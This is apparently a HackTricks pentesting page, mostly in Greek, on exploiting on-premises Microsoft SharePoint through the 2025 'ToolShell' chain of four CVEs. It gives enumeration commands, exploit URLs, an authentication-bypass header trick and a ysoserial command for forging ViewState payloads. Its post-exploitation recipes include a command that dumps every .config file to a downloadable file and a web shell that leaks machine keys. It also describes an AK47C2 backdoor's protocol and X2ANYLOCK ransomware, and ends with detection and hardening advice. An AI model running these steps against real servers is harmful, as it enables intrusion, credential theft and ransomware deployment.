Microsoft SharePoint – Pentesting & Exploitation
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Microsoft SharePoint (on-premises) είναι χτισμένο πάνω από ASP.NET/IIS. Οι περισσότερες από τις κλασικές επιφάνειες επίθεσης στο διαδίκτυο (ViewState, Web.Config, web shells, κ.λπ.) είναι επομένως παρούσες, αλλά το SharePoint περιλαμβάνει επίσης εκατοντάδες ιδιόκτητες σελίδες ASPX και διαδικτυακές υπηρεσίες που διευρύνουν δραματικά την εκτεθειμένη επιφάνεια επίθεσης. Αυτή η σελίδα συγκεντρώνει πρακτικά κόλπα για την καταμέτρηση, εκμετάλλευση και διατήρηση μέσα σε περιβάλλοντα SharePoint με έμφαση στην αλυσίδα εκμετάλλευσης του 2025 που αποκαλύφθηκε από την Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 exploit chain (a.k.a. “ToolShell”)
2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>
επιτρέπει την εισαγωγή αυθαίρετου Server-Side Include κώδικα στη σελίδα, ο οποίος στη συνέχεια μεταγλωττίζεται από το ASP.NET. Ένας επιτιθέμενος μπορεί να ενσωματώσει C# που εκτελεί Process.Start()
και να ρίξει ένα κακόβουλο ViewState.
2.2 CVE-2025-49706 – Improper Authentication Bypass
Η ίδια σελίδα εμπιστεύεται την κεφαλίδα X-Forms_BaseUrl για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε /_layouts/15/
, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί χωρίς αυθεντικοποίηση.
2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
Μόλις ο επιτιθέμενος ελέγξει μια συσκευή στο ToolPane.aspx
, μπορεί να δημοσιεύσει μια μη υπογεγραμμένη (ή μόνο MAC) τιμή __VIEWSTATE
που ενεργοποιεί την αποσυμπίεση .NET μέσα στο w3wp.exe, οδηγώντας σε εκτέλεση κώδικα.
Αν η υπογραφή είναι ενεργοποιημένη, κλέψτε το ValidationKey/DecryptionKey από οποιοδήποτε web.config
(βλ. 2.4) και πλαστογραφήστε το payload με ysoserial.net ή ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Για μια λεπτομερή εξήγηση σχετικά με την κακή χρήση του ASP.NET ViewState διαβάστε:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Διαδρομή Traversal / Αποκάλυψη web.config
Η αποστολή ενός κατασκευασμένου παραμέτρου Source
στο ToolPane.aspx
(π.χ. ../../../../web.config
) επιστρέφει το στοχευμένο αρχείο, επιτρέποντας τη διαρροή:
<machineKey validationKey="…" decryptionKey="…">
➜ κατασκευή ViewState / ASPXAUTH cookies- συμβολοσειρές σύνδεσης & μυστικά.
3. Συνταγές μετά την εκμετάλλευση που παρατηρήθηκαν στην άγρια φύση
3.1 Εξαγωγή κάθε αρχείου .config (παραλλαγή-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Το αποτέλεσμα του debug_dev.js
μπορεί να κατέβει ανώνυμα και περιέχει όλες τις ευαίσθητες ρυθμίσεις.
3.2 Αναπτύξτε ένα ASPX web shell κωδικοποιημένο σε Base64 (παραλλαγή-2)
powershell.exe -EncodedCommand <base64>
Παράδειγμα αποκωδικοποιημένου payload (συμπτυγμένο):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Γραμμένο σε:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
The shell exposes endpoints to read / rotate machine keys which allows forging ViewState and ASPXAUTH cookies across the farm.
3.3 Obfuscated variant (variation-3)
Ίδιο shell αλλά:
- τοποθετημένο κάτω από
...\15\TEMPLATE\LAYOUTS\
- τα ονόματα μεταβλητών μειωμένα σε μονά γράμματα
- προστέθηκε
Thread.Sleep(<ms>)
για αποφυγή sandbox & παράκαμψη AV με βάση το χρόνο.
3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (παρατηρήθηκε 2025-2026)
Πρόσφατες έρευνες αντίκτυπου περιστατικών (Unit42 “Project AK47”) δείχνουν πώς οι επιτιθέμενοι εκμεταλλεύονται την αλυσίδα ToolShell μετά την αρχική RCE για να αναπτύξουν ένα διπλό κανάλι C2 εμφύτευμα και ransomware σε περιβάλλοντα SharePoint:
AK47C2 – dnsclient
variant
- Σκληρά κωδικοποιημένος DNS server:
10.7.66.10
που επικοινωνεί με τον εξουσιοδοτημένο τομέαupdate.updatemicfosoft.com
. - Τα μηνύματα είναι JSON αντικείμενα XOR-κρυπτογραφημένα με το στατικό κλειδί
VHBD@H
, κωδικοποιημένα σε hex και ενσωματωμένα ως υποτομείς.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Μακροχρόνιες ερωτήσεις χωρίζονται σε κομμάτια και προσαρτώνται με
s
, στη συνέχεια επανασυντίθενται από τον server. - Ο server απαντά σε TXT records που φέρουν το ίδιο XOR/hex σχήμα:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Η έκδοση 202504 εισήγαγε μια απλοποιημένη μορφή
<COMMAND>::<SESSION_KEY>
και δείκτες κομματιών1
,2
,a
.
AK47C2 – httpclient
variant
- Επαναχρησιμοποιεί την ακριβή JSON & XOR ρουτίνα αλλά στέλνει το hex blob στο HTTP POST body μέσω
libcurl
(CURLOPT_POSTFIELDS
, κ.λπ.). - Η ίδια ροή εργασίας task/result επιτρέπει:
- Εκτέλεση αυθαίρετων εντολών shell.
- Δυναμικό διάστημα ύπνου και οδηγίες kill-switch.
X2ANYLOCK ransomware
- 64-bit C++ payload που φορτώνεται μέσω DLL side-loading (βλ. παρακάτω).
- Χρησιμοποιεί AES-CBC για δεδομένα αρχείων + RSA-2048 για να τυλίξει το κλειδί AES, στη συνέχεια προσθέτει την επέκταση
.x2anylock
. - Κρυπτογραφεί αναδρομικά τοπικούς δίσκους και ανακαλυμμένα SMB shares; παραλείπει συστήματα διαδρομών.
- Ρίχνει σημείωμα σε καθαρό κείμενο
How to decrypt my data.txt
ενσωματώνοντας μια στατική Tox ID για διαπραγματεύσεις. - Περιέχει ένα εσωτερικό kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL side-loading chain
- Ο επιτιθέμενος γράφει
dllhijacked.dll
/My7zdllhijacked.dll
δίπλα σε ένα νόμιμο7z.exe
. - Το
w3wp.exe
που δημιουργείται από το SharePoint εκκινεί το7z.exe
, το οποίο φορτώνει την κακόβουλη DLL λόγω της σειράς αναζήτησης των Windows, καλώντας το entrypoint του ransomware στη μνήμη. - Ένας ξεχωριστός φορτωτής LockBit παρατηρήθηκε (
bbb.msi
➜clink_x86.exe
➜clink_dll_x86.dll
) που αποκρυπτογραφεί τον shell-code και εκτελεί DLL hollowing στοd3dl1.dll
για να τρέξει το LockBit 3.0.
info
Η ίδια στατική Tox ID που βρέθηκε στο X2ANYLOCK εμφανίζεται σε διαρροές βάσεων δεδομένων LockBit, υποδεικνύοντας επικάλυψη συνεργατών.
4. Detection ideas
Telemetry | Why it is suspicious |
---|---|
w3wp.exe → cmd.exe | Η διαδικασία εργασίας θα πρέπει σπάνια να δημιουργεί shell |
cmd.exe → powershell.exe -EncodedCommand | Κλασικό μοτίβο lolbin |
Γεγονότα αρχείων που δημιουργούν debug_dev.js ή spinstall0.aspx | IOCs απευθείας από το ToolShell |
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/Module logs) | Δημόσιες PoCs καλούν αυτή τη σελίδα |
Example XDR / Sysmon rule (pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Σκληροποίηση & Μετριασμός
- Patch – Οι ενημερώσεις ασφαλείας του Ιουλίου 2025 διορθώνουν όλες τις τέσσερις CVEs.
- Rotate κάθε
<machineKey>
καιViewState
μυστικά μετά από παραβίαση. - Αφαιρέστε την άδεια εγγραφής LAYOUTS από τις ομάδες
WSS_WPG
&WSS_ADMIN_WPG
. - Εμποδίστε την εξωτερική πρόσβαση στο
/_layouts/15/ToolPane.aspx
σε επίπεδο proxy/WAF. - Ενεργοποιήστε ViewStateUserKey, MAC enabled, και προσαρμοσμένο EventValidation.
Σχετικά κόλπα
- IIS post-exploitation & κακή χρήση web.config:
IIS - Internet Information Services
Αναφορές
- Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities
- GitHub PoC – ToolShell exploit chain
- Microsoft Security Advisory – CVE-2025-49704 / 49706
- Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity
- Microsoft Security Advisory – CVE-2025-53770 / 53771
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.